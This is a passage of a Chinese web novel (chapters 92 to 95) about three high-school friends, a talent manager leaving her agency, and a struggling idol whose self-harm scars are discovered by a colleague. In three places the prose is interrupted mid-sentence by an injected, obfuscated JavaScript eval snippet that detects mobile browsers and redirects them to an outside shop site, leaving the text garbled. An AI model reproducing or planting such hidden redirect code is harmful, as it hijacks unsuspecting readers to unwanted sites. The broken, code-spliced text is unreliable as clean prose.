她嘻嘻哈哈地过来揽住苏琬的手臂,又叫住后面的谷奕: “走,买奶茶去!” 92. 第 92 章 马辉在晚自习之前走进学校。 路过学校对面的“好运来”奶茶店,他不经意间望了一眼。就这一眼,就看见了熟悉的身影。 ——有三个人站在一起。 两个女生手挽着手,一个没穿校服穿着大红色毛衣,短发戴眼镜,笑得嘻嘻哈哈;一个扎着高马尾,穿着校服,肩背笔直,正在说着什么话。 一个男生站在两人旁边,个子很高,穿着一件很是显眼的黑色外套,懒洋洋靠在墙边,插着兜似乎是很冷酷,但是嘴角挂着笑。 三个少女少男站在一起,背影都透出清爽干净的青春少年气息,坦荡又澄澈,笑意盈盈地聊天,很美好的一幕。 …… 马辉脚步一顿。 她们三个人,关系怎么还这么好? 旁边碰巧遇见的二班班主任顺着马辉的目光看过去,插话,“哟,看到谁了?马老师认识?” ——还能是谁,不就是他班上那三尊动不动就闯祸的大佛。 “进教导主任办公室次数最多的三个人”这咬牙切齿的话终究还是被马辉咽了回去,因为黄怀予那件红色毛衣太显眼,本人又在老师群体内足够出名。 他怎么能在别的平行班班主任面前承认,他班上的那位第一名“黄怀予”居然因为违反校规进过四次教导主任办公室——他在文综组还混不混了! “……看到了。黄怀予。”他沉默几秒钟说道。 “哦!”二班班主任知晓般应承,“那个红衣服的对吧。” “这次考得不错啊。上次八校联考她也是第七吧?这次月考也是第七。很稳定啊,好苗子。” “马老师教人有方啊!” “旁边那个是苏琬吧?也很不错啊,第十名,平时看着就觉得是个很踏实的小孩。” “还有……谷奕?是叫这个名吧?就去年刚转过来的那个?哎呦他刚转过来的时候那动静叫一个大啊,我们还讨论说马老师这下可麻烦了,班里转来一个刺头,这可不得烦死啊!结果,哎!人家一转过来地理就考了一个八十几,现在已经年级80多名了。哎呦你看马老师真是会教!” 二班班主任一通疯狂吹水奉承,直把马辉吹得天上有地上无。 “对吧马老师?” “……嗨。哪里比得上你嘞,你们班王梦婷不是也很厉害?”马辉嘴上互相吹着二班的全班第一名,可是脸上掩都掩盖不住的笑容早就暴露了所有内心感情。 “她们三个人感觉很熟啊,关系很好啊!对吧,你看这种二带一就很容易带起来,现在三个人都一心学习了,皆大欢喜!” “……哪来的事。我就盼望着谷奕别把我两个尖子生拉下水我就谢天谢地了。”马辉嘴上说着不饶人的话,脸上也一副平静,可是嘴角压都压不下去。 二班班主任一瞥就知道马辉现在心里早就喜滋滋的了,又是紧接着一通乱吹,直把黄怀予苏琬吹成了拯救问题少年的大功臣,把谷奕吹成了迷途知返的大好青年,把马辉吹成了现代教育心理学大师。 绿灯亮了,二班班主任拎着保温杯跟马辉道别,事了拂衣去深藏身与名。 …… 黄怀予拎着抹茶冰旋走出店,一下子就看见了不远处的马辉,吓得她一惊。 “老师好!” 她紧张兮兮地看了后面的苏琬谷奕一眼,完了,又被马辉看见了,这下不会又要说她沉迷于混乱的三人关系中无法自拔了吧? 她居然有种被捉奸的感觉。 黄怀予眼睛咕溜溜转,脑子里已经想出了好几种谎言,比如跟她们两个是碰巧偶遇?比如已经痛下决心不再往来?比如已经成为学习上的竞争对手不共戴天? 话没说出口,却见马辉神色缓和,平静地看了她和后面的苏琬谷奕一眼,也没有别的反应,只是点了点头。 “这次,考得不错。” 他又补上一句:“三个人都挺好。” ……? 黄怀予回头朝苏琬看了一眼,三个人交换了一下眼神。 马辉似乎现在心情很是不错,对这三个人看了又看,把手背到身后。 “你一晚下了以后来我办公室一趟。” 说完,转身离去,走路的背影都透着一股淡淡的得意。 “……”谷奕凑上来问,“他怎么了?” “一副自己桃李满天下的表情。” 黄怀予赞许地给他竖了个大拇指:“精准。” …… 黄怀予在一晚下课铃声打了以后,在苏琬和谷奕关注的目光里,走出了教室,上了六楼。 她大概知道马辉叫她去是为了什么。八校联考和这次月考她成绩都还比较稳定,苏琬就不用说了一直很稳,谷奕这次也进步很多。 大仇得报了! 这次总算不会误会她们三个人关系混乱了吧! 总算不会误会她暗恋谷奕了吧! 黄怀予感觉自己终于沉冤得雪了,心情非常好,走进文综办公室的时候都趾高气扬的,甚至都已经提前在心里演练等会面对马辉误解的道歉的时候,要摆出什么样的表情了。 不用道歉,马老师,只要之后别再误会我们就行了!我们之间真的很纯洁! 不不不,真的不用道歉! …… 走到马辉办公桌前,黄怀予已经摆好了一张接受道歉的宽容大方的脸。 “来了?” 马辉笑吟吟的一句话,把她所有表情都给堵了回去。 他似乎很是高兴,满脸欣赏。 “我知道你父母都不在身边。虽然你的学习不让家里人操心,但是你一定是个内心很敏感的人。” “没想到——”他拍拍桌子,“大方端正,胸襟宽广!” ——黄怀予刚刚摆出的悲天悯人的表情慢慢僵在脸上。 “我知道,喜欢上谷奕这件事一定对你来说很艰难,看着谷奕和苏琬之间朦朦胧胧的感情你一定很难受!但是,你委曲求全,自己调理好了对谷奕难以压抑的感情,坚守住了朋友的底线,抑制住了心动,最后仍然和他们保持着良好的关系。” “说实话,我甚至有些敬佩你。” “大肚量!” 他欣慰地看着面前浑身僵硬得如同一个丧尸一般一动不动的女生,赞许地点点头。 “好了,你先回去上二晚吧。再接再厉,戒骄戒躁。我相信你。” …… 黄怀予不知道这个世界怎么了。 她有点想死,说真的。 * 小宋这几天都提心吊胆的。 梁姐多次向董事长争取,交上去了很多文件和分析报告,董事长那边的态度都模棱两可。 而前几天终于松口,对STAR出道时的策划表示肯定,并且同意把STAR下一次新歌的制作权交回给自己团队。 尽管影视方面的资源仍然由胡权负责,但是否定了贾威之前要求全部转型的想法,并且恢复了梁吟东很多权力,这已经是一个很振奋人心的开始了。 梁姐这段时间一直忙得脚不沾地,眼神疲惫但是脸上却满是兴奋与干劲。 小宋知道,这是要为不久之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665926|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的公司大会做准备。 如果在公司大会上这些决策都能落实,梁姐说不定还能乘胜追击拿回更多主导权。 …… 梁吟东穿着高跟鞋走进满是人的大会议室,坐在座位上。 她缓缓扫视了周围一圈,最终对上了贾威的眼神。 随后,她露出一个笑。 ——最后一次了。梁吟东对自己说。 会议内容与之前梁吟东预料的大差不差,一切似乎都向着好的方向发展了。 可是,一直在角落里没出声的贾威,却突然开口道: “公司有可能启动新的男团出道计划。” 梁吟东一震。 “STAR出道三年来都没有什么水花,除了与团队策划有关系,我认为与成员本人也是有些关系的。五人团,体量太大,公司不是慈善机构,可以一直投入人力物力财力去准备下一次新歌。” “所以,为了不再重复之前的无用功,应该及时止损。” 贾威不紧不慢盯着梁吟东的眼睛。 “策划组接下来的工作重心是新团企划。STAR的事情,就还是交还给梁经纪人负责。” …… 梁吟东指尖发麻,手脚冰冷。 她突然觉得一切都好没意义。 贾威胜券在握的眼神一直盯着她,她知道对方早有准备,之前提出完全废弃掉偶像团体的制作,又立刻在这个看似有些极端的想法上退了一步。新团企划一定早就已经通过了董事长的同意了,就等着在公司大会上正式公开,给她一击。 或许,在贾威交上去的那份报告里,练习生制度和偶像团体完全还可以继续开拓,但是STAR早就已经变成了一枚弃子了。 说来好笑,其实STAR刚出道之时满足所有人的一切幻想——只是贾威看不惯梁吟东靠着STAR做出成绩,威胁到他自己的位置。后面一切的强制转型、架空、分权都不过是个人恩怨,STAR早就成了牺牲品。 ——梁吟东后知后觉地感受到,或许她本人也是牺牲品。 “STAR的事情交还给梁经纪人”?缓兵之计而已。 核心成员都被指派去了新团工作组,留给她的只是空架子,以及遥遥无期的“下一次”。STAR的命运已经注定了,糊团最后都是成员们虚度光阴一直熬到合约到期为止,最后逼迫成员自己退出,最终STAR直接解散。 其他四人也许继续留在公司里履行着没完成的合约,幸运的还能被下一次新团出道的策划想起来。但是更多时候,是不会被任何工作想起来,退回到练习生,和其他16岁的人一起重新暗无天日地竞争着。 而赵焰,也许直接可以用solo艺人的身份继续活动,不论是歌手还是演员,都可以在贾威的多重人脉圈子下一步步接资源。 梁吟东站在洗手间的镜子前,面前水龙头哗哗放着水,她透过镜子看见自己的眼睛。 她在新娱已经十五年了。 直到今天今时今刻,她才真正正正确认了一件事。 她二十一年前的梦想,早就已经无法在这里实现了。她和她的STAR一样,都是派系斗争的牺牲品,浪潮退去无人在意。 ——不知道为何,这个想法一出来,她似乎是终于松了一口气。好像这个事实早就已经存在了,只是她一直不愿意承认,一直被断断续续的成功给麻痹,一直相信自己是老鹰,总有一天可以挣脱笼子飞向蓝天。 在那一刹那,她突然想到了一个故人。 梁吟东抖着手,拨通了“李鸣月”的电话。 93. 第 93 章 踏上楚门的土地的那一刻,梁吟东看着这个从来没有来过的小城市,心头竟然有丝丝熟悉感,一点点漫上心头。 她也不是帝都人。她的家乡在南方江南水乡,也是这样一个小城市。两地气候山河不同,但是在梁吟东走上这一片土地的那一瞬间,她恍惚竟然觉得像是回家。 她推开了1969的大门。 几年没见了?梁吟东自己也说不清楚了。只知道看见李鸣月的那一刻,她心里竟然觉得无比平静。 白天酒吧没有营业,这里就是属于老板的纯粹的私人地盘。两人坐在卡座,面前两杯特调,就这样像多年未见的旧人一样随意聊天。 大厅灯光明亮,对面李鸣月的脸显得清晰异常。她似乎瘦了一些,整个人精神气十足,眼神奕奕,姿态放松。 她不怯懦,不犹疑,充满向前的进取心,还有一些自在的闲适感。 她不是被领导安排做事的上班族了,她是自己创业做生意的老板。她不在遥远的一线城市,她在家乡,没有任何金钱压力和流浪漂泊感。房子大,物价低,爱人在身边,开车半小时就可以回家和父母吃一顿晚饭。 两人坐着聊到以前的事情,问问现在的情况,平和地说话。 酒吧面积很大,装修精致,桌椅风格统一,吧台琳琅满目摆满各种各样的酒瓶和好看的玻璃杯,舞台上一整套架子鼓和一架钢琴,上方伸出来的灯管直直地打向舞台。 ——没有顾客,但是梁吟东却觉得,自己好像已经身处夜晚十点的霓虹射线里,爵士乐轻柔地响起,歌手在台上唱着英文歌,一句一句唱进在场所有人的耳朵里。 “这是我的梦想。” 李鸣月突然对梁吟东露出一个笑容。 她拿起桌上的那杯酒,轻轻地晃了一下,乳白色的粘稠液体冲上杯壁又滚落下来。 “三年前,它看上去遥不可及,异想天开,离经叛道。” “三年后,我已经坐在这里了。” 她的眼神飘飘荡荡,似乎也醉在酒精的香气里。 …… “梁吟东,你想要什么?” “如果你不知道,起码你可以先确定,你不想要什么。” 梁吟东的身体陷在柔软的沙发里。 她也在这样问着自己。 吧台上的蓝牙音响响起吉他的声音,是Eagles的《HotelCalifornia》: “Onadarkdeserthighway,coolwindinmyhair” “Warmsmellofcolitis,risingupthroughtheair” “Upaheadinthedistance,Isawashimmeringlight” “Myheadgrewheavyandmysightgrewdim” “Ihadtostopforthenight” 半晌,她才望着天花板晃晃悠悠明亮的灯,听见自己干涩的声音。 “可是这三年,也很辛苦吧。” 她以为李鸣月会不可置否,却没想到李鸣月很是坚定地点了一下头。 “嗯,很辛苦。” 梁吟东呆住一秒,然后又情不自禁地问: “……但是,也很幸福吧?” 李鸣月终于笑了出来,灯光下她似乎笑得很开心,扑哧一声,好像是对梁吟东刚刚脱口而出的问题早有预料。 然后,更加坚定地点点头。 “嗯,很幸福。” “Inthemaster''schambers” “Theygatheredforthefeast” “Theystabbeditwiththeirsteelyknives” “Buttheyjustcan''tkillthebeast” 梁吟东把断断续续的吉他声抛在身后,推开了大门,门口响起清脆的风铃声,迎面吹来楚门刺骨的冷风,吹开她鬓边的发丝。 要去哪里? 她对前路一无所知,不知道在这个城市有什么认识的人,也不知道应该如何计划。 要回去吗? 可是那些歌声已经被她抛在身后了。她不满足于停留在原地,幻觉也像是精神疾病,让人看上去是大城市的职场精英,其实永远也无法杀死追逐的野兽,摆脱精神的阴影。 ——“如果你不知道你想要什么,起码你可以先确定,你不想要什么。” 不满足的话,就应该改变,对吧? 反正,也不会比现在更差了。 梁吟东把冻得快要僵硬的双手插进风衣的口袋里,夹紧双臂,迈开双腿,在冷风中低头快步走着。 * 新团选拔和出道计划终于在新娱公司内部悄悄传了出去。 事实上新团要选拔和出道的消息一直都有,只是没有真正出道就永远是未知数,有的时候从计划开始一直到最后出道甚至耗费七八年之久,然而到最后都有可能因为任何原因而中断。 梁吟东找STAR五个人全部单独谈了一次话。 她扪心自问在当STAR经纪人的这三年里,她兢兢业业诚恳坚实。即使到了最后,她也不希望这个集齐所有人心力做出的团体最终却分崩离析。 如果真的要分崩离析,也许世界上没有完满,那她也希望所有成员都有一个好归宿。 因此,她把公司大会上上级的意思全部分毫不差地传达给了他们,让所有人都有一个心理准备,剩下的合约期内如何计划如何打算,大家都可以认真思考。 ——这话,她甚至对赵焰也一字不差地说了。 她话里有着很复杂的情绪,只是对面坐着的二十岁男生完全看不懂。 他只是懒懒散散地靠在椅背上,有一搭没一搭听着梁吟东的话——这些话他看上去早就知道了,甚至梁吟东明白,赵焰应该比她还要早知道新团出道企划这个消息。 但是梁吟东依然沉着认真地,把身为经纪人所有的建议全部说了出来。 她知道他听不懂。没关系,她自己懂就好了,她在新娱的这十五年懂就好了。 …… 最后一个进来的成员,是楚恒。 她情绪未变,依然说着同样的话,没有多提一字一句。 对面男生没有什么多余的表情,和他往常的样子一样。他长得很漂亮,认真来说其实有些女相,此时此刻垂着头发安安静静坐在对面,竟然乖顺得可怕。 所有话都说完了,梁吟东呼出一口气,最后还是加上了一句: “楚恒,要相信你自己。不论以后你做出什么选择,你自己的人生都是最重要的。” 言尽于此,她也没指望这短短一句话可以带给这个看上去已经有了严重心理疾病的少年什么指点,只能最后点点头,起身准备离开。 可就在她走过他身边时,却听见一道低沉的声音,从旁边飘来: “梁姐。” “你要走了吗。” !! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672823|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁吟东心里一噔,顿时停住脚步,回头看他。 “……我是要走了,去吃晚饭。你要和我一起去吗?” 她故作轻松地扯起话题,想要消解他那句话里隐藏的其他意思,也是为了反过来验证他到底有没有别的意思。 却见楚恒抬起了头,那双大大的眸子里映着漆黑的瞳孔,就这样直直地凝视她。 “我是说,你要离开新娱公司了吗。” …… 梁吟东根本就没想把这个决定和任何人说。 甚至明红。 职场第一条规则:管好自己的嘴。离职消息不到最后一刻都不要告诉任何人,走完程序直接走人,有缘再见。 梁吟东叹息着坐回原来的座位,心里暗自苦笑着感叹,其实这三年也不全是失败的、全无收获的,对吧?起码面前这个小孩算是出人意料地了解自己。 梁吟东没想骗楚恒,于是点点头。 “是有这个打算。” 终于说出口的那一刻,她只觉得浑身都松动了。 “但是和你们无关。” “这只是我个人的职业规划。你们之后的发展我无法负责,也根本没有能力去负责。我自己之后都不知道下一步会怎么样,遑论加上你们,前途不清的情况下就只是耽误你们。” “所以,我一开始就没打算告诉你们任何人。” 她解释完了,一身轻松地站起来。 “楚恒,别灰心,新团出道目前也只是企划。你们可以做好任何准备,但是也要有一个准备是继续留在这里的。你认真,能力很强,要相信你自己。” “我们有缘再见吧。” …… 她说完,对面的男生沉默许久,久到仿佛好像变成了一个雕塑,动也不动。 他抬头看向对面的会议室窗户——窗外似乎伸进来一束凋敝萧索的树枝,帝都冬日里凛冽的冬风弥漫了他的眼睛,他只觉得自己好像永远也看不清前路的方向。 一年的练习生,加上三年的出道——到最后竟是这样的结果吗? 角落里不被人发现的肮脏、镜头外遮遮掩掩的孤立、无数次想要揭露又被威胁的强权、不想连累别人的隐忍、肌肉酸痛的深夜、腹中痉挛的清晨…… 再忍忍吧。他总是这样告诉自己。他是团体的一员,他付出了这样多,他只想要登上耀眼的舞台,让更多人看见为自己而打的一束光。 他运气太差,他遇不见什么光明,于是对于身边难得能出现给予一点温暖的人,他都不愿意背叛,不愿意做出任何可能影响伤害到这些人的事。 ——比如,他永远也不会向梁吟东坦白这三年里所有的阴暗角落里发生的事情,让梁吟东架在中间左右为难。 ——比如,他永远也无法把顾安看作是和赵焰一样的人。 再忍忍。再忍忍。 他总是这样,床下的箱子是隐秘的痛苦,床头的药是压抑的煎熬。他只是和这个圈子里所有人一样,等待一个所谓的虚幻的“成功”路牌。可是偏偏这条路不是努力就会有回报。 梁吟东站在他面前,似乎再也不见往日的压迫与雷厉,她似乎终于充满轻松地要逃离这个漩涡,她说:“我们有缘再见吧。” ……她要走了。是应该为她感到开心的吧?他逃不掉,但是她逃掉了。 和当初的月姐一样。她们都要迎接新生活了。 兜兜转转,似乎唯余他还在原地。 楚恒闭上眼。 脑中钝痛,他竟然又看见了那个噩梦魔。 94. 第 94 章 陆橙觉得最近沈一瑾很不对劲。 她最近通告很满,但是整个人都恹恹地,似乎无精打采。 陆橙多番旁敲侧击,这才终于从沈一瑾失落沮丧的叙述中得知,她亲眼目睹了楚恒有了喜欢的人。 “什么?” 陆橙张大嘴巴,完全不相信。 “……绝对不可能。” “任何人都可能,就楚恒不可能!” “就他那样,他怎么可能谈恋爱!他洁癖十级,别人不小心站得离他近一点他能迅速躲开一米远!” “面瘫脸,看谁都毫无表情,对任何事都冷冷淡淡爱答不理!” “几年前他当练习生的时候我就见过他了,他只要看见练习室里有女生马上转身就走换下一个练习室。我们那个时候都叫他外星人,他们星球上只要跟人对视就会石化。” …… 陆橙躺床上翻了个身。 “外星人没有感情的。能把外星人都攻克下来的女人,那是神女。” “神女……”沈一瑾喃喃道。 他频繁地看手机,频繁地请假,频繁地去云省某一个小城市。 他上一秒可以因为洁癖把被赵焰碰过一下的手机直接扔进垃圾桶,眼睛都不眨;可是下一秒听见消息铃声就像疯了一样跪在地上翻垃圾桶。 他对着手机笑得那么开心,那么真诚,沈一瑾扪心自问认识他四年,从来都没有见过他露出那样的笑。 ——她至今都无法忘记那一幕给自己深深的震撼。 能让楚恒有这么大反应的人,会是什么样的? “也许神女真的存在呢。” 沈一瑾垂着头,低语道。 …… “哎,你要是想不开,你就去直接问问他呗。” “正好,最近大家都说公司要启动新男团出道计划了。” “我看STAR那几个人好像最近都懒懒的没什么精神,很多人都说新团出了以后,公司就更没有精力管STAR了。” 沈一瑾一愣,她这段时间工作太忙,完全没有关注:“什么时候的事?” “就最近。你档期太满,没关注也是情理之中。” “不过我也只是道听途说。”陆橙凉凉地叹口气,“他们出道三年了,我们还已经出道五年了呢!只见新人笑,不闻旧人哭了……世界是一个巨大的华妃!有种唇亡齿寒的感觉。” 沈一瑾也不知道自己怎么想的。 等她反应过来的时候,自己已经走到楚恒寝室门口的电梯间了。 ……那就问清楚吧,她只是想要一个痛快话。她不是纠缠犹豫的人。 喜欢他的这段时间是很快乐,对他的感情是很浓重,甚至从舞蹈挑战到之后公司综艺的一系列风波,她都觉得他们两人之间的纠缠和安排是命中注定,也许她真的能等来他的青睐。 不过,如果楚恒真的亲口告诉她,他已经有喜欢的人了,那她也一定拿得起放得下。 沈一瑾握紧拳头,叩响房门的那一刻,她给自己加油打气。 ——只是,敲了许久,里面都没有半句回应,甚至一点点声音都没有。 她心里突然有些慌,试探性地搭上了门把手。却没想到,下一秒手轻轻一拧,面前这扇灰色的门就已经悄然打开,露出一条黑色的缝隙。 没锁? 她怔住两秒,楚恒的寝室很少有人过来,原来他平时甚至都不用锁门吗? 她越来越慌,不再犹豫,直接推开房门。 入目一片黑。 屋子很昏暗,整个房间闭塞闷燥,没有丝毫生机,这是沈一瑾对这个房间的第一感受。 她慢慢移动脚步,身后走廊的灯光从她身后打进来照亮一片小小的空间,沈一瑾紧接着就在昏暗的空间里,看见前面的地板上,似乎是躺着一个人。 她的心咚咚直跳。 ——是楚恒。 他瘦削高挑的身影躺在地上,白皙的脸偏向一边,闭着眼动也不动。 桌上到处都是瓶瓶罐罐,杂乱地摆着,上面全是英文。一眼看过去沈一瑾认出了一罐很熟悉的东西,为了减肥不吃碳水她们经常失眠,那是一罐褪黑素。 沈一瑾颤抖着走近。 男人一动不动地躺在冰冷坚硬的地板上,短裤随着他的姿势稍微向上卷了一些,露出膝盖以上的一小部分皮肤——那上面竟然遍布大大小小深深浅浅的伤痕,最久远的已经看起来痊愈,时间起码有一年以上。 …… 她听见自己剧烈的呼吸声。 沈一瑾跪在楚恒旁边,想要去看他却又怕动了他哪里会伤到他,慌神半天只能抖着身子去拿手机,拨通了急救电话。 电话嘟了两声,这声音在死寂的房间里显得极其清晰大声。 下一秒沈一瑾面前就伸过来一只冷白修长的手,迅速按掉了她手机的红色通话键,通话中断。 “!” 沈一瑾吓得手机都快拿不住。 ——楚恒直起身体坐在地上,头发遮住眉毛,看样子已经醒了。 他看了沈一瑾一眼,眼里只有冰冷的寒芒,以及浓重的自厌,毫无生气。 沈一瑾被彻底吓到了。 她从来没有见过楚恒这一面,像是地狱里的修罗,像是被全世界抛弃的孤魂野鬼,像是被拔掉牙砍断尾巴扔在街角的狗。 她呆呆地坐着,又哆哆嗦嗦地开口,劝楚恒去看医生。 她杂乱地说着,楚恒闭着眼靠在桌边,沉默很久才冷淡吐出两个字:“没用。” “你要放宽心,别紧张……深呼吸,别吃这些药……哦不对,你要按时吃药,多出去走走呼吸新鲜空气……” “你不要在意赵焰,赵焰本来就人品低劣,你别理他……” “你,你要吃东西吗?你饿了吗?……” 她絮絮叨叨说了一大堆,说到最后她自己都不知道自己在说什么。她从小家庭幸福,哥哥宠爱,演艺事业也顺风顺水,她相信努力就会有回报,在她这里,世界是坚定的励志派小说,她就是坚韧的小蝴蝶女主,向上生长就会迎来自己的春天。 练习生时她见过同行者的抑郁和纠结,只是女生与女生之间距离更近,情感更贴合,两人比一人更容易撑过去,互相鼓励着就迎来了皆大欢喜的结局。 时至今日,这一刻,沈一瑾好像终于明白,她从来就没有进入过楚恒的世界。 ——一个和她的世界全然不同的,现实的、昏暗的、痛苦的、迷茫的世界。 她意识到这一点的时候,终于戛然而止,骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687366|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了嘴。 她看向楚恒,他一直就那样呆滞地、面无表情地、像是被抽干了灵魂一般靠在桌边,闭着眼,无动于衷。 …… 突然,他扔在一边的手机屏幕亮了。 一瞬间的光亮,划过昏暗的房间,强硬地挤入一霎光明。 沈一瑾本能地低头去看。 刚换没多久的新手机屏幕清晰无比,正中间蹦出一条新消息提示。 【CUP12345678】:哈喽5.5!最近怎么样!我们学校2月底终于要开百日誓师大会了! 沈一瑾无意窥探任何人的隐私。 她迅速收回目光,几秒之内也没心思去想,只是条件反射般说道:“你手机亮了,有人找你。” 话音落下,对面那人依然没有任何反应,清瘦的身躯仿佛一束已经凋败的花。 ……那一刻好像突然有什么东西在沈一瑾脑子里一闪而过。 她握紧拳头,话里有些颤抖,还带着一丝试探: “叫CUP,后面是一串数字。” 在那一刻,那人却突然睁开眼睛,立刻双手撑在地上想要起来,可是却又因为腿没什么力气只能趴在地上伸手去够。 他手抖得很厉害,像是快要拿不住手机;可是他手又抓得极其紧,像是用力抓住激流之中从岸上伸下来的一束救命稻草。 手机荧冷的光照在他苍白冷峻的脸上,那样英挺冷淡、毫无生气的眉眼突然在他看到屏幕的一瞬间不自觉变得柔和、生动,空洞的眼睛里慢慢有了生机。 他紧紧盯着手机屏幕,很久很久。 …… 在一旁目睹一切的沈一瑾完全呆住了。 ——和那天一样的反应,一样的着迷,一样的痴魔。 盘旋在心里多日的猜测终于响当当地落下最终的帷幕。 她是蝴蝶,彩色的翅膀闪闪发光,她的世界是一个春光灿烂的花园。 她没法拯救路边那只被人拔掉牙齿砍断尾巴的弃犬。 ——但是有人可以。 那人也许脚步轻快,拿着一盘卤牛肉,背着书包,走到墙根下,蹲下来,自言自语道: “小楚,吃不吃?” “不吃也得给我吃完,这可是用我的早饭钱买的!” “吃完了?哎别舔我了,再要也没有了,我也很穷呢!” “等会还要去教室背文言文,还要听英语听力,还要改数学错题……” “你今天精神不错啊,昨天是不是睡得很好?” “你问我?我一般吧,梦见了一个以前暗恋失败的人,还梦见了第一考场的教室,还梦见了我爸……梦见了一堆奇怪的人,反正没睡好。” “不过,我今晚会尝试梦见你哒!” “你今晚也要梦见我哦!” “等我高考完,我就把你带回家吧。” “你愿意跟我回家吗?好了好了别舔了,我知道你很愿意了!” “不过,距离高考还有好几个月呢,你到时候可不要忘了我啊,要记得我是谁啊。” …… 楚恒喃喃。 “嗯。” “永远都不会忘记你的。” “我的太阳。” “我的……主人。” 95. 第 95 章 楚门一中。 2月月考结束。 黄怀予年级第八,苏琬年级第九,谷奕年级第七十五名。 试卷纷纷眼前沉沉,睡不醒的人低声条件反射般念着含糊不清的文言文,五十多人斑杂的嗡嗡声汇在一起像一个巨大的养蜂场。 马辉走进教室,抬手。 “大家安静一下。” “过几天2月27号就是我们学校的百日誓师大会,会在操场上举行,请大家回去让自己家长在那天腾出时间来参加。” …… 谷奕低着头做题,笔尖却没动,不知道在想什么。 他听到旁边坐着的男生窃窃私语。 “27号星期几?” “星期二。” “完了,那我妈来不了啊,她那天请不了假。” “我爸也没空。不知道家长是不是一定要去,等会去问问马辉吧。” 谷奕正在一旁竖着耳朵听着,表面上却还是装作不感兴趣,低着头在草稿纸上写写画画。 左边的男生突然回头。 “哎谷奕,你家长那天来吗?” 谷奕吓了一跳,笔都差点没握住。 他咳嗽两声,装作镇静,慢慢抬头看对方,不在意地说: “不知道。” “你回去问问呗!如果来的话,那天我们还可以坐在一起!” “……”谷奕突然很烦躁,用力揉揉头,“上课时间别讲这些跟学习无关的事!没看见我在认真做题吗!” 他语气并不重,对方完全没当回事,沉默两秒,又瞄了两眼他手边的草稿纸,犹豫几秒还是认真说: “可是你满张草稿纸上都是‘来不来’三个字。” ? 谷奕一愣,低头看去,才发现自己刚刚在听他们讲话的时候,手上不知不觉开始乱写乱画。 ——到最后,竟然满张纸上都写了“来不来”三个字。 “操。” 他暗骂自己这个心不在焉的时候就会不自觉写出心里想的事的毛病什么时候能改改。 …… 下课铃声响了。 身边的男生迅速站起来,走向了讲台上马辉的方向。 谷奕沉默地看着,他知道那两个人是去问马辉,如果家长那天有事,可不可以不来百日誓师的。 “切。” 关他什么事。 他扭头,站起来,拿起水杯,高大的身影悠哉游哉地走向教室门口。可是经过讲台边的时候,步伐却不自觉地放缓了。 ……只是去听一下马辉怎么回答的而已。 这是为了了解一下学校规章制度,不为了别的什么事。 他成功说服了自己,拿着杯子,站在两人身后不远处的地方,听着那两人和马辉的对话。 “这个……最好是能来。” 马辉一边收拾着讲台上的书,一边回答。 “百日誓师一年只有一次,是一中的传统,可以拉近学生和家长之间的距离,是难得的学生和家长共同在场交流的机会。高三只有最后一百多天了,这是一中精神激励,希望学生、家长、学校一起,为了一个目标共同努力。” 马辉再次充分发挥了政治老师的废话能力,那两人听得晕晕乎乎,只能再次追问: “老师,那要是家长真的有事来不了呢?” “会有什么后果吗?” “……”马辉看他一眼,心道跟这群小孩子说话确实得直接一点,不然他们根本听不懂,于是只能无奈地说,“后果就是你家长不来。这就是后果。” 两个男生里,陈卓还是一脸困惑,还想继续问。可是旁边的徐文涛却听懂了马辉的暗示,飞快说了一句“谢谢老师”就把陈卓也拉走了。 “你傻呀,意思就是不来就不来,没有什么后果。” “马辉是班主任,难道还能亲口说学校的活动没那么重要,可以不来?” …… 两人窃窃私语,一转头就看见身后正有一个接近一米九的高大身影,正站在两人身后,手上拿着杯子,一下子和两人看过来的目光对上,瞬间就变得有些慌乱。 “谷奕?你在这干嘛?” “我……”他好像突然被问住,低头又看见手上的水杯,立刻想起了什么,扯了扯嘴角,用一贯的懒散语调回答,“去倒水啊。” 说完冷酷地转身出门。 * 谷奕一个人坐在寝室的桌前。 他没有直接给那个人打电话。 因为他知道,打了对方也不一定会接。她可能在开会,可能有活动,各种情况都有可能接不到电话。 于是,谷奕给她发消息,说自己晚上十点之后有空,问能不能到时候打电话。 发完消息,果然一时没有回复。他顺手往上划去,这才发现,原来上一次和她有信息交流,还是在10月份,为了解决杨天奇的时候。 ——母子做到这份上,是不是也挺失败的。 …… 谷奕模模糊糊记得,十月份,那个时候他还是个彻头彻尾的迷茫少年,每天就是想着怎么玩,怎么逃课,怎么浪费光阴。 ——那个时候的他,应该怎么都不会想到,自己会被杯姐和苏琬一步步引导到今天。 谷奕抹了抹额前的刘海,宽阔的背往后靠在椅背上,抬头,视线转向书桌上方。 